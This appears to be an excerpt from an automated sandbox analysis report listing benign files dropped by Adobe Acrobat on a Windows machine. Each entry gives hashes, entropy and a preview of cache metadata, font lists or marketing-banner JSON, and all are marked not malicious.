Preview:	MSCF............,...................I..................XaK .authroot.stl.[.i..6..CK..<Tk......4.cl!Kg..E..Y.f_..".$mR"$.J.E.KB."..rKv.."{.g....3.W.....c..9.s...=....y6#..x..........D......\(.#.s.!.A.......cd.c........+^.ov...n.....3BL..0.......BPUR&.X..02.q...R...J.....w.....b.vy>....-.&..(..oe."."...J9...0U.6J..\|U..S.....M.F8g...=.......p...........l.?3.J.x.G.Ep..$g..tj......)v]9(:.)W.8.Op.1Q..:.nPd........7.7..M].V F..g.....12..!7(...B.......h.RZ.......l.<.....6..Z^.`p?... .p.Gp.#.'.X..........\|!.8.....".m.49r?.I...g...8.v.....a``.g.R4.i...J8q....NFW,E.6Y....!.o5%.Y.....R..<..S9....r....WO...(.....F..Q=....-..7d..O(....-..+k.........K..........{Q....Z..j._.E...QZ.~.\.^......N.9.k..O.}dD.b1r...[}/....T..E..G..c.\|.c.&>?..^t. ..;..X.d.E.0G....[Q.,......#.Dp..L.o\|#syc.J............}G-.ou6.=52..XWi=...m.....^u......c..fc?&pR7S5....I...j.G........j.j..Tc.El.....B.pQ.,Bp....j...9g.. >..s..m#.Nb.o_u.M.V...........\#...v..Mo\sF..s....Y...

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	192
Entropy (8bit):	2.7529698674325394
Encrypted:	false
SSDEEP:	3:kkFklBjBTstfllXlE/HT8kuNNX8RolJuRdxLlGB9lQRYwpDdt:kKmseT8VNMa8RdWBwRd
MD5:	B645D7521CCB1379BB0D72A11B61078B
SHA1:	F6E0593DA726F6EAB7678F584F48B66923EC8D06
SHA-256:	47210ACC8E867AF26221236C2E9B477E3EE2015AFA5938227A26B72453E0F9EF
SHA-512:	9F33A493F5654CB7F34C4BCD63761C5E6F8839C26679956EB2777C3C6001F74B358EA773633FE4C9D87B60343A6BB17173DCAC79DF710AB18B7C77780EF544F4
Malicious:	false
Preview:	p...... ..........$Q.c..(....................................................... ..........W....................o...h.t.t.p.:././.x.1...i...l.e.n.c.r...o.r.g./...".6.4.c.d.6.6.5.4.-.5.6.f."...

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	modified
Size (bytes):	328
Entropy (8bit):	3.2319854253366045
Encrypted:	false
SSDEEP:	6:kKJtL9UswD8HGsL+N+SkQlPlEGYRMY9z+4KlDA3RUebT3:BtiDImsLNkPlE99SNxAhUe/3
MD5:	F78F28DF460DB235BDA4888E06E8E16F
SHA1:	E6A5BC0FBDE5F0DDD917D852EE0A56DBDCEBCFF3
SHA-256:	DF590B15BA8924B89F6523EC4805FAEE2A90E51CC8C871B03DC01807BA01C13B
SHA-512:	27D41DB3C583BFF4841B1322856245E4655B21FEE87BB49E898F1B25B5C395C119A846C1C261035DA019AE35818A3BFE5655D5A3B5AD74F84A07CD4E9A44737A
Malicious:	false
Preview:	p...... .........Ru.c..(....................................................... ........G..@.......&......X........h.t.t.p.:././.c.t.l.d.l...w.i.n.d.o.w.s.u.p.d.a.t.e...c.o.m./.m.s.d.o.w.n.l.o.a.d./.u.p.d.a.t.e./.v.3./.s.t.a.t.i.c./.t.r.u.s.t.e.d.r./.e.n./.a.u.t.h.r.o.o.t.s.t.l...c.a.b...".a.7.2.8.2.e.b.4.0.b.1.d.a.1.:.0."...

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeCMapFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeFnt23.lst.348

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeSysFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AcroFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AdobeFnt23.lst.348

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\ACROBAT_READER_MASTER_SURFACEID

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.336278407188429
Encrypted:	false
SSDEEP:	6:YEQXJ2HXEtmKc0ILR2vB3/dVlPIHAR0YcUeoAvJM3g98kUwPeUkwRe9:YvXKXM9ILR2vR/ZwHAhVGMbLUkee9
MD5:	81CD022D8C82E664BBBAFA850D1D58C6
SHA1:	E7684051F7A9F42161ACAAE18A12C6BD726011FC
SHA-256:	7090A973E0658E5147C2B1F4031DABE684912A28B8EC23481C3F5BB78D8E80B2
SHA-512:	80A49515B3E1E516458C1018EA5375328AC2B5117F663FBE54E5FB4A950518A8E2FD5F94641B5BD17A6382AF2B4C24CF0812B3C1B8D46166263F17D84B938476
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"306bec41-e2a6-43fb-a69a-d214b7b024ff","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736720394186,"statusCode":200,"surfaceID":"ACROBAT_READER_MASTER_SURFACEID","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Home_View_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.270367872092912
Encrypted:	false
SSDEEP:	6:YEQXJ2HXEtmKc0ILR2vB3/dVlPIHAR0YcUeoAvJfBoTfXpnrPeUkwRe9:YvXKXM9ILR2vR/ZwHAhVGWTfXcUkee9
MD5:	5D972A6063C79B51E2DC78912413BA25
SHA1:	8D268C66EF146E3B4B7CC6C6C50E91AD1911D565
SHA-256:	D1413469CA3CA7BD59CA58E97CC1C6217EBDB1330DE019E1369F235928EE317F
SHA-512:	A0D4ECEFDD2B79C54C9AC565CCF9CEC0506DE1FBECA6754565C7182F5FC80BB5BB5D61E17728510028C233F9A2D2DC3CEAC91124B03F7755BDB1F7ACA7BEEF12
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"306bec41-e2a6-43fb-a69a-d214b7b024ff","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736720394186,"statusCode":200,"surfaceID":"DC_FirstMile_Home_View_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Right_Sec_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.249362907487988
Encrypted:	false
SSDEEP:	6:YEQXJ2HXEtmKc0ILR2vB3/dVlPIHAR0YcUeoAvJfBD2G6UpnrPeUkwRe9:YvXKXM9ILR2vR/ZwHAhVGR22cUkee9
MD5:	6CCEDB81C6309B491BAAAE415F31A3A0
SHA1:	7C82613B1333A60A60F6E1997AEA291C79CF270E
SHA-256:	B7E5C616D25D05C5DEE62A1DA70362750D39BAA8754FCFC7748EA3AEF4BAE410
SHA-512:	4A07031909559683D43AA16213BF9FDA3047B19E702433E2E5EE19C7BC0F57DC7C2BB8BF6A91A9EB7F73A0F4381773B183582BD6145E6994E512919E3A08182A
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"306bec41-e2a6-43fb-a69a-d214b7b024ff","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736720394186,"statusCode":200,"surfaceID":"DC_FirstMile_Right_Sec_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_READER_LAUNCH_CARD

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	285
Entropy (8bit):	5.312276603588855
Encrypted:	false
SSDEEP:	6:YEQXJ2HXEtmKc0ILR2vB3/dVlPIHAR0YcUeoAvJfPmwrPeUkwRe9:YvXKXM9ILR2vR/ZwHAhVGH56Ukee9
MD5:	3A9E8F8B28C1AC06F3FF285AD48AC96B
SHA1:	4730E698FAB7717ADEAABD665FB1255F3DCED4CB
SHA-256:	E1BF9FCDAA9A20134DF5F5890DB94F941CAC19B1827796640C75906C89C2AE2D
SHA-512:	43B275DFD57F83B01D2847CEC70D34EA73343E5862F4B0252D712E4CA98F3060A8CEFA1043A42AE09DBBDDFBB7D797D1879F5CEB9B0587B482C17A9B744A125B
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"306bec41-e2a6-43fb-a69a-d214b7b024ff","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736720394186,"statusCode":200,"surfaceID":"DC_READER_LAUNCH_CARD","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Convert_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1123
Entropy (8bit):	5.685742308435537
Encrypted:	false
SSDEEP:	24:Yv6XM9ILR2Jh8pLgE9cQx8LennAvzBvkn0RCmK8czOCCSgr:Yv1qL8Jh8hgy6SAFv5Ah8cv/gr
MD5:	C16D75221BA56AA5AFE8E88469650DCE
SHA1:	E09B82D7E8ECB7EACC0013CF19F6469C310ABA69
SHA-256:	88A618A79E141F195ADBEB9672A2CE5DDB00D92F731E425526E149551D6B3701
SHA-512:	38DCD0E10D1043719EE08C9A7E088629ED0BB8526F8468F916D6503C96F5A6791BA3EE39FD737503CE986CDA1BEF60ACC36A4663AE919A07E1E61EAFD7687BF7
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"306bec41-e2a6-43fb-a69a-d214b7b024ff","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736720394186,"statusCode":200,"surfaceID":"DC_Reader_Convert_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Convert_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_1","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"d5bba1ae-6009-4d23-8886-fd4a474b8ac9","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Convert_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IkNvbnZlcnRQREZSZHJSSFBBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkV4cG9ydCBQREZzIHRvIE1pY3Jvc29mdCBXb3JkIGFuZCBFeGNlbC4ifSwidGNh

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.261157419987164
Encrypted:	false
SSDEEP:	6:YEQXJ2HXEtmKc0ILR2vB3/dVlPIHAR0YcUeoAvJf8dPeUkwRe9:YvXKXM9ILR2vR/ZwHAhVGU8Ukee9
MD5:	0AE372EEA95F966388A9847A07A9AB91
SHA1:	A31E65BFB7C2E3CABF28918A38179905831B81CF
SHA-256:	BB9EF69C9BB48989EF9AFBFB52048F2C3C73646DCD6769F70560CD52DA6DCD05
SHA-512:	DB994058A3710AD4681D743742E1EC8162CED5BA334900B8C08C49BE23BBEF53D02FC8BA1A7F0CD4DD06594F8E60E3FE9DC01E65C3D4198219735468F26AF6E0
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"306bec41-e2a6-43fb-a69a-d214b7b024ff","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736720394186,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	292
Entropy (8bit):	5.260235455231539
Encrypted:	false
SSDEEP:	6:YEQXJ2HXEtmKc0ILR2vB3/dVlPIHAR0YcUeoAvJfQ1rPeUkwRe9:YvXKXM9ILR2vR/ZwHAhVGY16Ukee9
MD5:	756A7F3E59FD9A1C4B956F04F96204AF
SHA1:	69A4636E8AE80BF482373C04D71DB987256B36C4
SHA-256:	381DBC79426032FF9A88A82BF7212CE6884988A2256E2FF8FD86269DCC6D1557
SHA-512:	8C6731303C1BFA686FE515B5CE1D10EACFCC7B5CC35898EB01A9B20CD92AB5B6D300E54D037A8BF1B31E13063864347B221A3AE2B6EF26D5915DD63DC4B28BAE
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"306bec41-e2a6-43fb-a69a-d214b7b024ff","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736720394186,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Edit_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.276130128331622
Encrypted:	false
SSDEEP:	6:YEQXJ2HXEtmKc0ILR2vB3/dVlPIHAR0YcUeoAvJfFldPeUkwRe9:YvXKXM9ILR2vR/ZwHAhVGz8Ukee9
MD5:	7485E99EFDCB3E1FF1253C8E10F7413F
SHA1:	163374467543930ABE40E36C85DB904BF25D7947
SHA-256:	AA3FB6B9AAB57132F40F539404B07CA3706A52A63A2F53BEC924DB52BC01B443
SHA-512:	3EAB162F8E09F1B887735C36DD56B16960294C4A48A76EDE97BD426FF7273FCF44109346012C46F68BC706ED39C8A77225A3A2DD33FD4D1DBDF1F053313E01B7
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"306bec41-e2a6-43fb-a69a-d214b7b024ff","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736720394186,"statusCode":200,"surfaceID":"DC_Reader_Edit_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Home_LHP_Trial_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.289205390065538
Encrypted:	false
SSDEEP:	6:YEQXJ2HXEtmKc0ILR2vB3/dVlPIHAR0YcUeoAvJfzdPeUkwRe9:YvXKXM9ILR2vR/ZwHAhVGb8Ukee9
MD5:	CE70DB1906B5F3EA2A32357D8268AA74
SHA1:	349E251E0EAD04DE54D7F57CBF58D78322850894
SHA-256:	4DFBFC6E30BB94027F8B0F2BBFF0EBBE2F57665038139DDAF125AEA2EDB7E037
SHA-512:	2A50190D184921DBCCA016D87A3FC39CD1EAC31CCA2863EBF764871E7B0CA6B940D068D491CB2604BF48F04BE2F05C5D46E671074DC34AEF985F99F5A76FC078
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"306bec41-e2a6-43fb-a69a-d214b7b024ff","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736720394186,"statusCode":200,"surfaceID":"DC_Reader_Home_LHP_Trial_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_More_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.269500487924493
Encrypted:	false
SSDEEP:	6:YEQXJ2HXEtmKc0ILR2vB3/dVlPIHAR0YcUeoAvJfYdPeUkwRe9:YvXKXM9ILR2vR/ZwHAhVGg8Ukee9
MD5:	35A0F9E73FCE145AC9A4267D40206FF1
SHA1:	EAAD2A690A807709A25BDBBAD3657508C8AB37D8
SHA-256:	411D9E181F2BA72238A98C5873C804F06E331A8D552A8769B1DD4F9584EFB729
SHA-512:	22735ABC752136A5056443B59EF43288D699495F0591898E16F63306C154D73CD3BF1E0306FDC7AD6685DEA3B303AA00F8EF1EA331522B995CEFC1752A816198
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"306bec41-e2a6-43fb-a69a-d214b7b024ff","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736720394186,"statusCode":200,"surfaceID":"DC_Reader_More_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	284
Entropy (8bit):	5.255312888434243
Encrypted:	false
SSDEEP:	6:YEQXJ2HXEtmKc0ILR2vB3/dVlPIHAR0YcUeoAvJf+dPeUkwRe9:YvXKXM9ILR2vR/ZwHAhVG28Ukee9
MD5:	81816D1772380E2B3CA250B0EAE9A758
SHA1:	44D36EADCA223FA39B96CC433ED8C95563D1631D
SHA-256:	5F7B41C72E3239F8CFCD3F56DA435AD116D566FB11ED21B1DD1285C8C8611907
SHA-512:	4CA7DC8A0CAF570F0D80141CE52D19052F423CDAA20E7411D7DD389EE0379432CD0878D02166058BE25207502095C4387A9F2BD33BBB0D7B736BA8F988042A90
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"306bec41-e2a6-43fb-a69a-d214b7b024ff","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736720394186,"statusCode":200,"surfaceID":"DC_Reader_RHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Intent_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	291
Entropy (8bit):	5.253257204238051
Encrypted:	false
